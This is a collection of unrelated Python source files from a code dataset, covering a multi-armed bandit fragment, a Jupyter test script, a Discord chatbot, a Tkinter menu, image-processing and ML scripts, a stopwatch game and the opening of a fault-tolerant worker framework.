1), 1); \n\t\tdistr = np.hstack((notMaxDist, np.where(maxMask == 1)[1][:,None]));\n\n\t\teps = cache;\n\t\tnextActions = np.apply_along_axis(np.random.choice, 1, distr, p = [eps, 1 - eps]);\n\n\tif policy == 'softmax':\n\n\t\ttau = cache;\n\t\tprob = np.exp(Q / tau) / np.sum(np.exp(Q / tau), 1)[:,None];\n\t\tnextActions = np.array([np.random.choice(np.arange(N), p = prob[i,:]) for i in range(prob.shape[0])]);\n\n\tif policy == 'UCB1':\n\t\t\n\t\ti, Na = cache;\n\t\tconfInterval = np.sqrt(2 * np.log(i) / (Na + 1));\n\t\tupperBound = Q + confInterval;\n\t\tnextActions = np.apply_along_axis(np.argmax, 1, upperBound);\n\t\n\treturn nextActions;\n\ndef update(Q, Na, action, cache, rule = 'mean'):\n\t\n\tArms = cache;\n\tproblems, N = Q.shape;\n\t\n\tif rule == 'mean':\n\n\t\t# Update Q\n\t\tQ[np.arange(problems), action] += (1 / (Na[np.arange(problems), action] + 1)) * (Arms.pullArm(action = action) - Q[np.arange(problems), action]);\n\t\t\n\t\t# Update Na\n\t\tNa[np.arange(problems), action] += 1;\n\n\n","sub_path":"Immidiate_RL_problems/ValFuncOptimizer.py","file_name":"ValFuncOptimizer.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"223222301","text":"import sys\nfrom itertools import combinations\n\nsys.stdin = open('input.txt','r')\n\nT = int(input())\n\nfor t in range(T):\n N = int(input())\n board = [list(map(int, input().split())) for _ in range(N)]\n MIN_N = 0xFFFF\n for i in range(1< abs(S1-S2):\n MIN_N = abs(S1-S2)\n\n print('#{} {}'.format(t+1, MIN_N))\n","sub_path":"4012.py","file_name":"4012.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"612745610","text":"\"\"\"verify_jupyter_running.py: Script for Jupyter initialization action test.\n\"\"\"\n\n# This file was provided by Google.\n# Added feature to pass expected_version as it's different on 1.0 1.1 and 1.2\n\nimport sys\nimport requests\n\nEXPECTED_VERSION = '5.0.0'\nPYSPARK = 'pyspark'\nPYTHON = 'python3'\nEXPECTED_NAME = 'Untitled.ipynb'\n\nBASE = 'localhost'\nPORT = 8123\n\n# must match token set in metadata in JupyterTest.java\nJUPYTER_AUTH_TOKEN = 'abc123'\n\n\nclass JupyterApi(object):\n \"\"\"JupyterApi is a client to the Jupyter Notebook Server API.\n\n Args:\n base (str): The base url. Examples include localhost or 127.0.0.1.\n port (int): The port number Jupyter is listening on.\n \"\"\"\n\n def __init__(self, base, port):\n self.base = 'http://{}:{}/api'.format(base, port)\n\n def get_api_version(self):\n \"\"\"Gets the version of the Jupyter Notebook Server API that is running.\n\n Returns:\n string: API version.\n \"\"\"\n\n path = ''\n\n return self._make_request(\n 'GET',\n path,\n lambda response: response.json()['version'],\n 'Failed to get api version.')\n\n def get_kernels(self):\n \"\"\"Retrieves the kernels with which Jupyter is configured to run.\n\n Returns:\n list: List of kernels with which Jupyter is configured to run.\n \"\"\"\n\n path = '/kernelspecs'\n\n return self._make_request(\n 'GET',\n path,\n lambda response: list(response.json()['kernelspecs'].keys()),\n 'Failed to get api version.')\n\n def make_notebook(self):\n \"\"\"Creates a new notebook.\n\n Returns:\n string: The name of the newly created notebook.\n \"\"\"\n path = '/contents'\n data = {'type': 'notebook'}\n\n return self._make_request(\n 'POST',\n path,\n lambda response: response.json()['name'],\n 'Failed to create notebook.',\n json=data)\n\n def _make_request(self, verb, path, transform_func, error_msg, **kwargs):\n \"\"\"Makes an HTTP request and fails if not successful.\n\n Args:\n verb (str): HTTP verb (GET, POST, PUT, etc).\n path (str): Path to make the request on.\n transform_func (func): A function that takes the response object and\n can extract what the user needs from it.\n\n error_msg: Message to include in the exception if raised.\n **kwargs: Any args accepted as kwargs from the requests module.\n\n Returns:\n The result of transform_func.\n\n Raises:\n Exception: If the request is anything under status code 300.\n \"\"\"\n\n response = requests.request(verb, self.base + path +\n '?token=' + JUPYTER_AUTH_TOKEN,\n **kwargs)\n if not self._is_successful_response(response):\n raise Exception(error_msg + '\\n' + response.text)\n return transform_func(response)\n\n def _is_successful_response(self, response):\n \"\"\"Checks if the response had a successful call.\n\n Defines success as any status code under 300.\n\n Args:\n response (obj): The response object from the requests module.\n\n Returns:\n bool: True if the request is a 2xx or below. False otherwise.\n \"\"\"\n return response.status_code < 300\n\n\ndef main(expected_version):\n \"\"\"Drives the script.\n\n Returns:\n None\n\n Raises:\n Exception: If a response does not contain the expected value\n \"\"\"\n\n jupyter_api = JupyterApi(BASE, PORT)\n\n # Test getting API version\n version = jupyter_api.get_api_version()\n if version != expected_version:\n raise Exception('Incorrect API version. Expected: {}, Actual: {}'.\n format(expected_version, version))\n\n # Test to see if pyspark and python3 kernels configured\n kernels = jupyter_api.get_kernels()\n if PYSPARK not in kernels:\n raise Exception('Could not find expected kernel. Expected: {}, Actual: {}'.\n format(PYSPARK, kernels))\n if PYTHON not in kernels:\n raise Exception('Could not find expected kernel. Expected: {}, Actual: {}'.\n format(PYTHON, kernels))\n\n # Test creating a new ipython notebook\n notebook_name = jupyter_api.make_notebook()\n if notebook_name != EXPECTED_NAME:\n raise Exception(\n 'Unexpected name for created notebook. Expected: {}, Actual: {}'.\n format(EXPECTED_NAME, notebook_name))\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n expected_version = EXPECTED_VERSION\n else:\n expected_version = sys.argv[1]\n main(expected_version)\n","sub_path":"testing-scripts/jupyter/verify_jupyter_running.py","file_name":"verify_jupyter_running.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"94180187","text":"#!/usr/bin/python\n\nimport discord\nimport os\nimport random\nimport pkg_resources\nfrom discord.ext import commands\nimport asyncio\nimport aiml\n\nSTARTUP_FILE = \"std-startup.xml\"\nBOT_PREFIX = ('!')\n\n\nclass RinaBot:\n def __init__(self, channel_name, bot_token):\n self.channel_name = channel_name\n self.token = bot_token\n\n # Load AIML kernel\n self.kernel = aiml.Kernel()\n initial_dir = os.getcwd()\n os.chdir(pkg_resources.resource_filename(__name__, '')) # Change directories to load AIML files properly\n startup_filename = pkg_resources.resource_filename(__name__, STARTUP_FILE)\n self.kernel.learn(startup_filename)\n self.kernel.respond(\"LOAD AIML B\")\n os.chdir(initial_dir)\n\n # Set up Discord client\n self.client = discord.Client()\n self.bot = commands.Bot(command_prefix=BOT_PREFIX)\n self.setup()\n # create the background task and run it in the background\n def setup(self):\n @self.client.event\n async def on_ready():\n print(\"\\n=============================\")\n print(\"= *** BOT ONLINE *** =\")\n print(\"=============================\")\n print(\"NAMA BOT: {}\".format(self.client.user.name))\n print(\"ID: {}\".format(self.client.user.id))\n print(\"=============================\\n\")\n async def status_task(self):\n while True:\n await self.client.change_presence(activity=discord.Game(name='⬆️ Mau request bot sendiri?'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='↗️ Mau belajar buat bot sendiri?'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='➡️ Mau Tutorial free hosting botmu?'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='↘️ Mau jadi pacar Rendiix? 😍'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='⬇️ Boleh, tapi khusus cewek 😘'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='↙️ Caranya mudah 👌'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='⬅️ Hubungi 💌'))\n await asyncio.sleep(5)\n await self.client.change_presence(activity=discord.Game(name='↖️ 😎 Owner NewBieGamers 😎'))\n await asyncio.sleep(5)\n\n @self.client.event\n async def on_message(message):\n if message.author.bot or str(message.channel) != self.channel_name:\n return\n \n if message.content is None:\n return\n print(\"PESAN: \" + str(message.content))\n\n if self.kernel.respond(message.content) == \"\":\n return\n else:\n msg = (\"<@\" + str(message.author.id) + \"> \" + self.kernel.respond(message.content))\n print(\"RESPON: \" + str(msg))\n await message.channel.send(msg)\n\n def loop(self):\n self.client.loop.create_task(status_task())\n\n def run(self):\n self.client.run(self.token)\n","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"283139950","text":"import os\r\nimport sys\r\n#from PIL import Image\r\nfrom tkinter import *\r\nfrom subprocess import call\r\n#from PIL import ImageTk,Image\r\nimport os\r\n\r\nimport sys\r\n\r\ntry:\r\n from Tkinter import *\r\nexcept ImportError:\r\n from tkinter import *\r\n\r\ntry:\r\n import ttk\r\n py3 = False\r\nexcept ImportError:\r\n import tkinter.ttk as ttk\r\n py3 = True\r\ndef click_checkinn():\r\n call([\"python\", \"phone.py\"])\r\ndef click_list():\r\n call([\"python\", \"laptop.py\"])\r\ndef click_checkout():\r\n call([\"python\", \"books.py\"])\r\ndef click_getinfo():\r\n call([\"python\",\"bags.py\"])\r\n\r\n\r\nclass PRODUCT_MANAGEMENT:\r\n def __init__(self):\r\n root = Tk()\r\n '''This class configures and populates the toplevel window.\r\n top is the toplevel containing window.'''\r\n _bgcolor = '#d9d9d9' # X11 color: '#cce6ff'\r\n _fgcolor = '#000000' # X11 color: 'black'\r\n _compcolor = '#ffffff' # X11 color: '#cce6ff'\r\n _ana1color = '#ffffff' # X11 color: 'white'\r\n _ana2color = '#ffffff' # X11 color: 'white'\r\n font14 = \"-family {Segoe UI} -size 15 -weight bold -slant \" \"roman -underline 0 -overstrike 0\"\r\n font16 = \"-family {Swis721 BlkCn BT} -size 40 -weight bold \" \"-slant roman -underline 0 -overstrike 0\"\r\n font9 = \"-family {Segoe UI} -size 9 -weight normal -slant \" \"roman -underline 0 -overstrike 0\"\r\n\r\n \r\n root.state(\"zoomed\")\r\n #img=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\hp\\\\Desktop\\\\New folder\\\\New folder (2)\\\\second .PNG\"))\r\n # panel=Label(root,image=img)\r\n #panel.pack(side=\"bottom\",fill=\"both\",expand=\"yes\")\r\n \r\n #root.configure(bg=\"#1a8cff\")\r\n root.title(\"EMPLOYEE MANAGEMENT\")\r\n root.configure(background=\"#cce6ff\")\r\n root.configure(highlightbackground=\"#99b3ff\")\r\n root.configure(highlightcolor=\"#99b3ff\")\r\n\r\n\r\n\r\n self.menubar = Menu(root,font=font9,bg=_bgcolor,fg=_fgcolor)\r\n root.configure(menu = self.menubar)\r\n\r\n\r\n\r\n self.Frame1 = Frame(root)\r\n self.Frame1.place(relx=0.02, rely=0.03, relheight=0.94, relwidth=0.96)\r\n self.Frame1.configure(relief=GROOVE)\r\n self.Frame1.configure(borderwidth=\"2\")\r\n self.Frame1.configure(relief=GROOVE)\r\n self.Frame1.configure(background=\"#cce6ff\")\r\n self.Frame1.configure(highlightbackground=\"#d9d9d9\")\r\n self.Frame1.configure(highlightcolor=\"#99b3ff\")\r\n self.Frame1.configure(width=925)\r\n\r\n self.Message6 = Message(self.Frame1)\r\n self.Message6.place(relx=0.09, rely=0.01, relheight=0.15, relwidth=0.86)\r\n self.Message6.configure(background=\"#cce6ff\")\r\n self.Message6.configure(font=font16)\r\n self.Message6.configure(foreground=\"red\")\r\n self.Message6.configure(highlightbackground=\"#d9d9d9\")\r\n self.Message6.configure(highlightcolor=\"black\")\r\n self.Message6.configure(text='''What You are Looking for??''')\r\n self.Message6.configure(width=791)\r\n\r\n self.Button2 = Button(self.Frame1)\r\n self.Button2.place(relx=0.18, rely=0.17, height=103, width=566)\r\n self.Button2.configure(activebackground=\"#d9d9d9\")\r\n self.Button2.configure(activeforeground=\"#000000\")\r\n self.Button2.configure(background=\"#cce6ff\")\r\n self.Button2.configure(disabledforeground=\"#bfbfbf\")\r\n self.Button2.configure(font=font14)\r\n self.Button2.configure(foreground=\"#ff471a\")\r\n self.Button2.configure(highlightbackground=\"#d9d9d9\")\r\n self.Button2.configure(highlightcolor=\"black\")\r\n self.Button2.configure(pady=\"0\")\r\n self.Button2.configure(text='''SMART PHONES''')\r\n self.Button2.configure(width=566)\r\n self.Button2.configure(command=click_checkinn)\r\n\r\n self.Button3 = Button(self.Frame1)\r\n self.Button3.place(relx=0.18, rely=0.33, height=93, width=566)\r\n self.Button3.configure(activebackground=\"#d9d9d9\")\r\n self.Button3.configure(activeforeground=\"#000000\")\r\n self.Button3.configure(background=\"#cce6ff\")\r\n self.Button3.configure(disabledforeground=\"#bfbfbf\")\r\n self.Button3.configure(font=font14)\r\n self.Button3.configure(foreground=\"#ff471a\")\r\n self.Button3.configure(highlightbackground=\"#d9d9d9\")\r\n self.Button3.configure(highlightcolor=\"black\")\r\n self.Button3.configure(pady=\"0\")\r\n self.Button3.configure(text='''LAPTOPS''')\r\n self.Button3.configure(width=566)\r\n self.Button3.configure(command=click_checkinn)\r\n\r\n self.Button4 = Button(self.Frame1)\r\n self.Button4.place(relx=0.18, rely=0.47, height=93, width=566)\r\n self.Button4.configure(activebackground=\"#d9d9d9\")\r\n self.Button4.configure(activeforeground=\"#000000\")\r\n self.Button4.configure(background=\"#cce6ff\")\r\n self.Button4.configure(disabledforeground=\"#bfbfbf\")\r\n self.Button4.configure(font=font14)\r\n self.Button4.configure(foreground=\"#ff471a\")\r\n self.Button4.configure(highlightbackground=\"#d9d9d9\")\r\n self.Button4.configure(highlightcolor=\"black\")\r\n self.Button4.configure(pady=\"0\")\r\n self.Button4.configure(text='''BAGS''')\r\n self.Button4.configure(width=566)\r\n self.Button4.configure(command=click_checkout)\r\n\r\n self.Button5 = Button(self.Frame1)\r\n self.Button5.place(relx=0.18, rely=0.61, height=103, width=566)\r\n self.Button5.configure(activebackground=\"#d9d9d9\")\r\n self.Button5.configure(activeforeground=\"#000000\")\r\n self.Button5.configure(background=\"#cce6ff\")\r\n self.Button5.configure(disabledforeground=\"#bfbfbf\")\r\n self.Button5.configure(font=font14)\r\n self.Button5.configure(foreground=\"#ff471a\")\r\n self.Button5.configure(highlightbackground=\"#d9d9d9\")\r\n self.Button5.configure(highlightcolor=\"black\")\r\n self.Button5.configure(pady=\"0\")\r\n self.Button5.configure(text='''BOOKS''')\r\n self.Button5.configure(width=566)\r\n self.Button5.configure(command=click_list)\r\n\r\n self.Button6 = Button(self.Frame1)\r\n self.Button6.place(relx=0.18, rely=0.77, height=103, width=566)\r\n self.Button6.configure(activebackground=\"#d9d9d9\")\r\n self.Button6.configure(activeforeground=\"#000000\")\r\n self.Button6.configure(background=\"#cce6ff\")\r\n self.Button6.configure(disabledforeground=\"#bfbfbf\")\r\n self.Button6.configure(font=font14)\r\n self.Button6.configure(foreground=\"#ff471a\")\r\n self.Button6.configure(highlightbackground=\"#ffffcc\")\r\n self.Button6.configure(highlightcolor=\"#ffffcc\")\r\n self.Button6.configure(pady=\"0\")\r\n self.Button6.configure(text='''5.EXIT''')\r\n self.Button6.configure(width=566)\r\n self.Button6.configure(command=quit)\r\n root.mainloop()\r\n\r\n\r\nif __name__ == '__main__':\r\n GUUEST=PRODUCT_MANAGEMENT()\r\n\r\n\r\n","sub_path":"PRODUCT.py","file_name":"PRODUCT.py","file_ext":"py","file_size_in_byte":6880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"653790989","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'Will Brennan'\n\n# built-in modules\nimport os\nimport logging\nimport argparse\n# Standard modules\nimport cv2\nimport numpy\nfrom sklearn.decomposition import FastICA\n# Custom modules\nimport scripts\n\nlogger = logging.getLogger('main')\n\n\ndef signal_pairing(sigs, thresh=2.5):\n scores, groups = [0.0, 0.0], [[0], [1]]\n logger.debug('evaluating options')\n for i in xrange(2): # scan through groups\n for j in xrange(1, 3): # determine max scoring\n values = []\n scores[i] += numpy.max(values)\n groups[i].append(numpy.argmax(values))\n logger.debug('checking for common selection')\n check = not [groups[0][i] for i in xrange(len(groups[0])) if groups[0][i] == groups[1][i]]\n logger.debug(\"common elements {0} been found\".format([\"haven't\", \"have\"][check]))\n if check and args.n_components == 2:\n sigma = numpy.max(scores)/numpy.min(scores)\n if sigma > thresh:\n index = numpy.argmax(scores)\n # todo: Finish rearrangement\n else:\n logger.warning('Unable to determine matching correctly')\n return sigs\n\n\ndef evaluate(img, args):\n logger.debug('starting assertions')\n assert isinstance(img, numpy.ndarray), 'img must be an opencv like array'\n assert img.ndim in [2, 3], 'img must be greyscale or color (ndim: {0})'.format(img.ndim)\n assert isinstance(args, argparse.Namespace), 'args must be of type argparse.Namespace not {0}'.format(type(args))\n logger.debug('initialising FastICA')\n ica = FastICA(n_components=args.n_components)\n if args.gray or img.ndim == 2:\n logger.debug('conducting grey-scale ReflectionRemoval')\n if img.ndim == 3:\n img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n logger.debug('converted from RGB to GRAY')\n sig = ica.fit_transform(img.flatten()) # Reconstruct signals\n mix = ica.mixing_\n else:\n logger.debug('conducting ReflectionRemoval on RGB color space')\n sigs, mixs = [], []\n for i in xrange(3):\n sigs.append(ica.fit_transform(img[i].flatten()))\n mixs.append(ica.mixing_)\n logger.debug('evaluating signal correspondence')\n sig = signal_pairing(sigs)\n logger.debug('reshaping signals for output')\n sig = [sig[i, :].reshape(*img.shape) for i in xrange(sig.shape[0])]\n return img, sig\n\n\ndef process(img):\n args = scripts.get_args(args_string=' ')\n return evaluate(img, args)\n\n\ndef combine(img_1, img_2, mixing=numpy.array([[1, 0.5], [0.5, 1]])):\n assert isinstance(img_1, numpy.ndarray), 'img_1 must be a numpy array (type - {0})'.format(type(img_1))\n assert isinstance(img_2, numpy.ndarray), 'img_2 must be a numpy array (type - {0})'.format(type(img_2))\n assert img_1.ndim in [2, 3], 'img_1 must be grayscale or color (ndims - {0})'.format(img_1.ndim)\n assert img_2.ndim in [2, 3], 'img_2 must be grayscale or color (ndims - {0})'.format(img_2.ndim)\n assert img_1.shape == img_2.shape, 'img_1 ({0}) and img_2 ({1}) do not have the same size'.format(img_1.shape, img_2.shape)\n assert isinstance(mixing, numpy.ndarray), 'mixing array must be a numpy array (type - {0})'.format(type(mixing))\n assert mixing.shape == (2, 2), 'mixing array must be a 2x2 matrix'\n signal = numpy.c_[img_1.flatten(), img_2.flatten()].T\n result = numpy.dot(mixing, signal)\n result = [result[i, :].reshape(*img_1.shape) for i in xrange(result.shape[0])]\n return result\n\n\nif __name__ == '__main__':\n args = scripts.get_args()\n logger = scripts.get_logger(quite=args.quite, debug=args.debug)\n for path in args.image_paths:\n for img_path in scripts.find_images(path):\n img = cv2.imread(img_path)\n res, ref = evaluate(img, args)\n if args.save:\n res_path, ext = os.path.splitext(img_path)\n res_path += '_ReflectionRemoval'\n res_path = os.path.join(res_path, ext)\n cv2.imwrite(res_path, res)\n if args.display:\n scripts.display('img', img)\n scripts.display('res', res)\n for i, frame in enumerate(ref):\n scripts.display('signal_{0}'.format(i), frame)\n cv2.waitKey(0)\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"93866036","text":"import simplegui\r\n# template for \"Stopwatch: The Game\"\r\n\r\n# define global variables\r\nw = 200 # width\r\nh = 200 # height\r\ntotal = 0 # estimated time\r\ns_stops = 0 # successful stops\r\ntotal_stops = 0 # stopped times\r\nis_stopped = False # is Stopwatch stopped or running?\r\n\r\n\r\n# define helper function format that converts time\r\n# in tenths of seconds into formatted string A:BC.D\r\ndef format(t):\r\n leading = \":0\"\r\n min = t // 600\r\n sec = (t // 10) % 60\r\n tes = t % 10\r\n if sec >= 10:\r\n leading = \":\"\r\n result = \"0\" + str(min) + leading + str(sec) + \".\" + str(tes)\r\n \r\n return result \r\n\r\n# define event handlers for buttons; \"Start\", \"Stop\", \"Reset\"\r\ndef start():\r\n global is_stopped\r\n t.start()\r\n is_stopped = False\r\n \r\n\r\ndef stop():\r\n global s_stops, total_stops, is_stopped\r\n if not is_stopped:\r\n total_stops += 1\r\n if total % 10 == 0:\r\n s_stops += 1\r\n t.stop()\r\n is_stopped = True\r\n\r\ndef reset():\r\n global total, is_stopped, total_stops, s_stops\r\n is_stopped = True\r\n t.stop()\r\n total = 0\r\n s_stops = 0\r\n total_stops = 0\r\n \r\n\r\n# define event handler for timer with 0.1 sec interval\r\ndef tick():\r\n global total\r\n total += 1\r\n\r\n\r\n# define draw handler\r\ndef draw(canvas):\r\n canvas.draw_text(format(total), [w/3, h/2], 24, \"White\")\r\n canvas.draw_text(str(s_stops) + \"/\" + str(total_stops), [w * 0.8, h * 0.1], 18, \"yellow\")\r\n\r\n \r\n# create frame\r\nf = simplegui.create_frame(\"Stopwatch\", w, h)\r\nt = simplegui.create_timer(100, tick)\r\n\r\n# register event handlers\r\nf.set_draw_handler(draw)\r\nf.add_button(\"Start\", start, 200)\r\nf.add_button(\"Stop\", stop, 200)\r\nf.add_button(\"Reset\", reset, 200)\r\n\r\n# start frame\r\nf.start()\r\n\r\n\r\n# Please remember to review the grading rubric\r\n","sub_path":"Projects/Stopwatch.py","file_name":"Stopwatch.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"563322397","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 26 11:38:52 2021\n\n@author: dimpl\n\"\"\"\n\n# Python | Get Kth Column of Matrix\n# The original list is : [[4, 5, 6], [8, 1, 10], [7, 12, 5]]\n# K = 2\n# The Kth column of matrix is : [6, 10, 5]\n\n# METHOD 1:\ntest_list = [[4, 5, 6], [8, 1, 10], [7, 12, 5]]\nk = 2\nres = [sub_list[k] for sub_list in test_list]\nprint(res)\n\n# METHOD 2:\nres_list = list(zip(*test_list))[k]\nprint(res_list)\n","sub_path":"GeeksforGeeks/vDimple/Basic Programs/matrix_kth_colum.py","file_name":"matrix_kth_colum.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"90907811","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn import kernel_ridge\nfrom sklearn.metrics import r2_score\nfrom sklearn import dummy\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef main():\n # Read raw data.\n # https://archive.ics.uci.edu/ml/machine-learning-databases/wine-quality\n raw_data = pd.read_csv('winequality-white.csv', sep=';')\n print('raw_data :\\n', raw_data.head())\n\n # Extract data from dataset.\n x = raw_data[raw_data.columns[:-1]].values # Dataset: variables.\n y = raw_data['quality'].values # Dataset: labels.\n print('x :\\n', x[:5])\n print('y :\\n', y[:5])\n\n # Scale data to reduce weights.\n # https://openclassrooms.com/fr/courses/4444646-entrainez-un-modele-predictif-lineaire/4507801-reduisez-l-amplitude-des-poids-affectes-a-vos-variables\n # https://openclassrooms.com/fr/courses/4297211-evaluez-les-performances-dun-modele-de-machine-learning/4308246-tp-selectionnez-le-nombre-de-voisins-dans-un-knn\n std_scale = preprocessing.StandardScaler().fit(x)\n x_scaled = std_scale.transform(x)\n std_scale = preprocessing.MinMaxScaler().fit(y.reshape(-1, 1))\n y_scaled = std_scale.transform(y.reshape(-1, 1)).ravel()\n\n for var, lbl in zip([x, x_scaled], ['not scaled', 'scaled']):\n fig, all_axis = plt.subplots(3, 4)\n for feat_idx in range(var.shape[1]):\n # variable alone.\n axis = all_axis.ravel()[feat_idx]\n axis.hist(var[:, feat_idx], bins=50)\n axis.set_title(raw_data.columns[feat_idx]+' - '+lbl, fontsize=14)\n # variable superimposed with others.\n last_axis = all_axis.ravel()[11]\n last_axis.hist(var[:, feat_idx], bins=50)\n last_axis.set_title('whole dataset - '+lbl, fontsize=14)\n plt.subplots_adjust(left=0.1, bottom=0.1, right=0.9, top=0.9, wspace=0.3, hspace=0.3)\n plt.show() # Show variable magnitude before / after scaling.\n\n # Split data set into training set and testing set.\n # https://openclassrooms.com/fr/courses/4011851-initiez-vous-au-machine-learning/4020631-exploitez-votre-jeu-de-donnees\n x_train, x_test, y_train, y_test = train_test_split(x_scaled, y_scaled, test_size=0.3)\n\n # Fix hyper-parameters to test.\n param_grid = {\n 'gamma': np.logspace(-2, 2, 6), # gamma coefficient between 10^-2 and 10^2.\n 'alpha': np.logspace(-2, 2, 6), # alpha coefficient between 10^-2 and 10^2.\n }\n\n # Choose a score to optimize: r2 (coefficient of determination: regression score).\n score = 'r2'\n\n # Kernel ridge regressor: use cross validation to find the best hyper-parameters.\n clf = GridSearchCV(\n kernel_ridge.KernelRidge(kernel='rbf'), # Kernel ridge regressor.\n param_grid, # hyper-parameters to test.\n cv=5, # number of folds to test in cross validation.\n scoring=score # score to optimize.\n )\n\n # Optimize best regressor on training set.\n clf.fit(x_train, y_train)\n\n # Print hyper-parameters.\n print(\"\\nBest hyper-parameters on the training set:\")\n print(clf.best_params_)\n\n # Print performances.\n print(\"\\nCross validation results:\")\n for mean, std, params in zip(clf.cv_results_['mean_test_score'], clf.cv_results_['std_test_score'], clf.cv_results_['params']):\n print(\"{} = {:.3f} (+/-{:.03f}) for {}\".format(score, mean, std*2, params))\n\n # Print scores.\n # https://openclassrooms.com/fr/courses/4297211-evaluez-les-performances-dun-modele-de-machine-learning/4308276-evaluez-un-algorithme-de-regression\n y_pred = clf.predict(x_train)\n print(\"\\nBest regressor score on training set: {:.3f}\".format(r2_score(y_train, y_pred)))\n y_pred = clf.predict(x_test)\n print(\"\\nBest regressor score on testing set: {:.3f}\".format(r2_score(y_test, y_pred)))\n\n # Compare with baseline dummy regressor.\n best_dclf, best_dclf_score = None, -float('inf')\n for s in ['mean', 'median', 'quantile']:\n dclf = dummy.DummyRegressor(strategy=s, quantile=0.25)\n dclf.fit(x_train, y_train)\n dclf_score = r2_score(y_test, dclf.predict(x_test))\n if dclf_score > best_dclf_score:\n best_dclf, best_dclf_score = dclf, dclf_score\n y_pred = best_dclf.predict(x_train)\n print(\"\\nBest dummy regressor score on training set: {:.3f}\".format(r2_score(y_train, y_pred)))\n y_pred = best_dclf.predict(x_test)\n print(\"\\nBest dummy regressor score on testing set: {:.3f}\".format(r2_score(y_test, y_pred)))\n\nif __name__ == '__main__':\n # https://openclassrooms.com/fr/courses/4297211-evaluez-les-performances-dun-modele-de-machine-learning/4308246-tp-selectionnez-le-nombre-de-voisins-dans-un-knn\n main()\n","sub_path":"1.supervised/1.regression/4.performance/winequality.py","file_name":"winequality.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"501225841","text":"import cv2\nimport socket\nimport time\nimport numpy as np\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nhost = \"127.0.0.1\"\nport = 80\n\nsock.bind((host, port))\nsock.listen(1)\nconn, addr = sock.accept()\nprint(\"Connection from:\", str(addr))\n\nimageBytes = conn.recv(4000098)\nprint(\"Received data\")\n# print(\"Image bytes:\")\n# print(imageBytes)\nimageData = np.frombuffer(imageBytes, dtype=np.uint8)\n# print(\"Image data:\")\n# print(type(imageData))\n# print(type(imageData[0]))\n# print(imageData)\nimage = imageData.reshape(309, 227, 3)\n\ncv2.imshow(\"image\", image)\ncv2.waitKey(0)\ncv2.destoryallwindows()\nconn.close()\n","sub_path":"video_feed/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"252562850","text":"\"\"\"The Fault-Managed Execution Component framework.\n\nThe FMEC module provides a framework for implementing fault-tolerant\nthread+process workers with arbitrary acyclic dependencies graphs\namongst the classes of workers. Startup, reconfiguration, and shutdown\nfunctions are provided by the `Controllers' metaclass and operate over\nall FMECs.\"\"\"\n\nimport collections\nimport sys\nimport threading\nimport time\n\nimport yblib.util as util\n\nfrom yblib.meta import Iterable, Stateless\nfrom yblib.primitives import Primitives\n\nclass FMECStats(object):\n\t\"\"\"FMEC Behavioral Statistics\n\n\tFMECStats are kept for each FMEC and are obtained by asking\n\tthe Controllers metaclass for the statistics associated with\n\ta given instance.\n\n\tThe following attributes are provided:\n\t- uptimes: the list of uptimes (in seconds) for this component\n\t\t\tsince the system started.\n\t- uptime: the uptime of the component's current instance.\n\t- avg_uptime: the average uptime for this component.\n\t- restarts: the number of times this component has been restarted.\n\n\tThe update_start and update_stop methods are only for use within\n\tthe FMEC framework itself.\"\"\"\n\n\tdef __init__(self):\n\t\tself.uptimes = []\n\t\tself.last_restart = time.time()\n\t\tself.number_restarts = -1\n\n\tdef update_start(self):\n\t\t\"\"\"Update the statistics for a component being started.\"\"\"\n\t\tself.number_restarts += 1\n\t\tself.last_restart = time.time()\n\n\tdef update_stop(self):\n\t\t\"\"\"Update the statistics for a component being stopped.\"\"\"\n\t\tif self.number_restarts:\n\t\t\tself.uptimes.insert(0, self.uptime)\n\n\t@property\n\tdef uptime(self):\n\t\t\"\"\"Current component uptime.\"\"\"\n\t\tnow = time.time()\n\t\treturn now - self.last_restart\n\n\t@property\n\tdef avg_uptime(self):\n\t\t\"\"\"Average component uptime.\"\"\"\n\t\tif len(self.uptimes):\n\t\t\treturn sum(self.uptimes) / len(self.uptimes)\n\t\telse:\n\t\t\treturn \"-1\"\n\n\tdef __str__(self):\n\t\treturn (\"restarts: %s; curr. uptime: %s; avg 